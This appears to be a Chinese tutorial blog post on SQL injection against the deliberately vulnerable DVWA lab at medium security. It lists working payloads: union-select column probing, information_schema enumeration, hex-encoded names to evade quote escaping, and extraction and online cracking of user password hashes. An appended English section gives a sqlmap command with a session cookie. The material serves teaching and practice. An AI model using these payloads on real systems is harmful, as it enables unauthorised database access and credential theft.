SQL injection on DVWA (medium Level)

本文详细介绍了如何通过SQL注入攻击获取数据库信息,包括利用union select语句查询表结构、获取数据库名称及表单列名等技术手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

medium与low的区别在于对对输入的数据进行了转义处理,多了$id = mysql_real_escape_string($id);  这句。

在这里输入‘会有如下结果:


不用担心还有好多是可以用哒~~

输入1 or 1=1:


得到了所有id对应的用户。


接下来用union select

输入 1 or 1=1 union select 1,2--

可以正常输出

但是输入1 or 1=1 union select 1,2,3-- 却得到如下结果

说明这里的数据表是两列哟~~~


接下来就可以用user(),database(),version()查看信息了:



查询information_schema系统表,获得MySQL数据库中每一个表名以及每一列的名字


为了便于查找可以这样:

输入1 or 2=1 union select 1,concat(table_name,0x0a,column_name) from information_schema.columns,得到的结果为



以上结果还是很多,可以尝试如下办法获得MySQL中所有的数据库:

输入1 or 2=1 union select table_schema,null from information_schema.tables

显然这里用的数据库是dvwa~


既然已经知道数据库的名字,也就不用大海捞针揣测它各个表的名字了

输入1 or 2=1 union select table_name,null from information_schema.tables where table_schema=0x64767761    这个0x64767761是dvwa的十六进制表示

这里使用十六进制表示的因为这里应该填入数据库名,应该是一个字符串,如果写dvwa则要在它两端加上单引号,这样才会被识别为string,但是单引号会被过滤掉,所以直接写string会报错。



现在查看users这个表单中有哪些列(实际上前面以及找到了= =!重复一下又怎样)

输入:1 or 2=1 union select 1,concat(table_name,0x0a,column_name) from information_schema.columns where table_name=0x7573657273

咳咳!后面table_name不能直接用users哦,会报错的

正确的输出是

users里面共有6列哟~


接下来获得用户名和密码:

输入1 or 2=1 union select 1,concat(first_name,0x0a,password) from users

也可以输入1 or 2=1 union select first_name,password from dvwa.users #   获得


在http://www.md5decrypter.com/上查一下

一些常用的密码hash破解是没有问题的



### DVWA SQL Blind Injection Medium Level Attack Method Tutorial In the context of DVWA (Damn Vulnerable Web Application), exploiting a SQL blind injection vulnerability at the medium difficulty level involves understanding how to interact with the application and craft specific payloads that can infer database structure or content based on true/false responses. The command provided serves as an example payload used within such attacks, specifically designed to retrieve table names from the current database schema by leveraging conditional logic in queries: ```sql select table_name from information_schema.tables where table_schema=database()[^1] ``` For executing this type of attack against DVWA's SQLi Blind challenge set to 'Medium', one approach is using automated tools like SqlMap which simplifies the process significantly. An invocation might look similar to what has been shared previously: ```bash py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db[^2] ``` This tool automates much of the work involved in detecting vulnerabilities, extracting data through time-based boolean conditions without direct output feedback, and even taking over databases under certain circumstances—all while adhering to user-defined constraints regarding legality and ethics. When performing manual exploitation for educational purposes only, consider crafting custom scripts or modifying existing ones according to your environment setup. The key lies in constructing queries that cause different behaviors depending on whether they evaluate to true or false, allowing inference about underlying structures indirectly via side-channel observations. --related questions-- 1. How does changing the security level affect the effectiveness of SQL injection techniques? 2. What are some common defenses implemented against SQL injections? 3. Can you explain more about Information Schema Tables and their role in discovering database objects during penetration testing? 4. Are there any particular challenges associated with exploiting blind SQL injections compared to error-based methods?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值